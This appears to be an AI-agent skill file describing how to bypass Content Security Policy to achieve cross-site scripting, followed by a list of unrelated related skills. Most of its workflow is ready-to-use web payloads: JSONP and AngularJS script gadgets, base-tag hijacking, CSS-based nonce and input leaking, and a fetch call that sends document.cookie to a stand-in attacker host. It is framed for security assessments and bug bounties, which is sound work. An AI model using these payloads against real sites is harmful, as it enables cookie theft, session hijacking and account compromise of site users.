performing-content-security-policy-bypass
Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.
What this skill does
# Performing Content Security Policy Bypass
## When to Use
- When XSS is found but execution is blocked by Content Security Policy
- During web application security assessments to evaluate CSP effectiveness
- When testing the robustness of CSP against known bypass techniques
- During bug bounty hunting where CSP prevents direct XSS exploitation
- When auditing CSP header configuration for security weaknesses
## Prerequisites
- Burp Suite for intercepting responses and analyzing CSP headers
- CSP Evaluator (Google) for automated policy analysis
- Understanding of CSP directives (script-src, default-src, style-src, etc.)
- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
- Browser developer tools for CSP violation monitoring
- Collection of whitelisted domain JSONP endpoints
## Workflow
### Step 1 — Analyze the CSP Policy
```bash
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"
# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"
# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis
# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly
# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
```
### Step 2 — Exploit unsafe-inline and unsafe-eval
```bash
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead
```
### Step 3 — Exploit Whitelisted Domain JSONP Endpoints
```bash
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com
# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
```
### Step 4 — Exploit base-uri and Form Action Bypasses
```bash
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com
# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
```
### Step 5 — Exploit Nonce and Hash Bypasses
```bash
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce
# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another
# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution
# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'
```
### Step 6 — Exploit Data Exfiltration Without script-src
```bash
# Even without script execution, data exfiltration is possible:
# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
# Via connect-src (if allows external):
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">
# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |
| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |
| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |
| Policy Injection | Injecting CSP directives through reflected user input in headers |
| base-uri Hijacking | Redirecting relative script loads by injecting a base element |
| Script Gadgets | Legitimate library features that can be abused to bypass CSP |
| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |
| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |
| CSP Scanner | Browser extension for identifying CSP bypass opportunities |
| csp-bypass | Curated list of CSP bypass techniques and payloads |
| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |
| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
## Common Scenarios
1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server
5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS
## Output Format
```
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href=Related in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.